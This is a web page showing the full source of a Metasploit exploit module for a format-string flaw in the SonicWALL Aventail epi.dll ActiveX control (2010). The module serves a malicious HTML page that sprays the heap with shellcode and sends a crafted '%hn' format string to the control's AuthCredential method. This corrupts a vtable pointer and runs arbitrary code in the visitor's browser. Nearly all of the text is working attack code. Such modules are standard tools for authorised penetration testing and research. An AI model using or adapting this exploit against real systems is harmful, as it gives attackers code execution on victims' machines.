Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/aventail_epi_activex.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking # heap spray and address shifty78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(update_info(info,12'Name' => 'SonicWALL Aventail epi.dll AuthCredential Format String',13'Description' => %q{14This module exploits a format string vulnerability within version 10.0.4.x and1510.5.1 of the SonicWALL Aventail SSL-VPN Endpoint Interrogator/Installer ActiveX16control (epi.dll). By calling the 'AuthCredential' method with a specially17crafted Unicode format string, an attacker can cause memory corruption and18execute arbitrary code.1920Unfortunately, it does not appear to be possible to indirectly re-use existing21stack data for more reliable exploitation. This is due to several particulars22about this vulnerability. First, the format string must be a Unicode string,23which uses two bytes per character. Second, the buffer is allocated on the24stack using the 'alloca' function. As such, each additional format specifier (%x)25will add four more bytes to the size allocated. This results in the inability to26move the read pointer outside of the buffer.2728Further testing showed that using specifiers that pop more than four bytes does29not help. Any number of format specifiers will result in accessing the same value30within the buffer.3132NOTE: It may be possible to leverage the vulnerability to leak memory contents.33However, that has not been fully investigated at this time.34},35'License' => MSF_LICENSE,36'Author' =>37[38'Nikolas Sotiriu', # original discovery / poc39'jduck' # Metasploit module40],41'References' =>42[43[ 'OSVDB', '67286'],44[ 'URL', 'http://sotiriu.de/adv/NSOADV-2010-005.txt' ]45],46'DefaultOptions' =>47{48'EXITFUNC' => 'process',49'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',50},51'Payload' =>52{53'Space' => 1024,54'BadChars' => "\x00",55'StackAdjustment' => -3500,56},57'Platform' => 'win',58'Targets' =>59[60[ 'epi.dll v10.0.4.18 on Windows XP SP3',61{62# NOTE: Unfortunately, this address varies from execution to execution63'Write' => 0x1240000 + 0x501d4 + 2, # smashed high 16-bits of a vtable ptr :)64# 0x1d5005c, # crashes on deref+call65'Ret' => 0x0404040466}67]68],69'DisclosureDate' => '2010-08-19',70'DefaultTarget' => 0))71end7273def autofilter74false75end7677def check_dependencies78use_zlib79end8081def on_request_uri(cli, request)8283clsid = "2A1BE1E7-C550-4D67-A553-7F2D3A39233D"84progid = "Aventail.EPInterrogator.10.0.4.018"8586method = "AuthCredential"8788# Re-generate the payload89return if ((p = regenerate_payload(cli)) == nil)9091# Encode the shellcode92shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))9394# Setup exploit buffers95nops = Rex::Text.to_unescape([target.ret].pack('V'))96write = Rex::Text.to_unescape([target['Write']].pack('V'))9798# Setup format string offset99printed = 0xb1 - 5100ret = (target.ret >> 16) - printed101102# Setup heap spray103blocksize = 0x40000104fillto = 300105106# Randomize the javascript variable names107axobj = "axobj" #rand_text_alpha(rand(100) + 1)108j_format = "fmt" # rand_text_alpha(rand(100) + 1)109j_counter = "i" # rand_text_alpha(rand(30) + 2)110# heap spray vars111j_shellcode = rand_text_alpha(rand(100) + 1)112j_nops = rand_text_alpha(rand(100) + 1)113j_ret = rand_text_alpha(rand(100) + 1)114j_headersize = rand_text_alpha(rand(100) + 1)115j_slackspace = rand_text_alpha(rand(100) + 1)116j_fillblock = rand_text_alpha(rand(100) + 1)117j_block = rand_text_alpha(rand(100) + 1)118j_memory = rand_text_alpha(rand(100) + 1)119120# NOTE: the second assignment triggers the shellcode121content = %Q|<html>122<object classid='clsid:#{clsid}' id='#{axobj}'></object>123<script>124#{j_shellcode}=unescape('#{shellcode}');125#{j_nops}=unescape('#{nops}');126#{j_headersize}=20;127#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;128while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};129#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});130#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});131while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};132#{j_memory}=new Array();133for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};134135#{j_format} = unescape("#{write}");136#{j_format} += '%#{ret}x';137for (#{j_counter} = 0; #{j_counter} < 22; #{j_counter}++)138#{j_format} += '%x';139#{j_format} += '%hn';140141#{axobj}.#{method} = #{j_format};142#{axobj}.#{method} = #{j_format};143</script>144</html>|145146print_status("Sending #{self.name}")147148# Transmit the response to the client149send_response_html(cli, content)150151# Handle the payload152handler(cli)153end154end155156157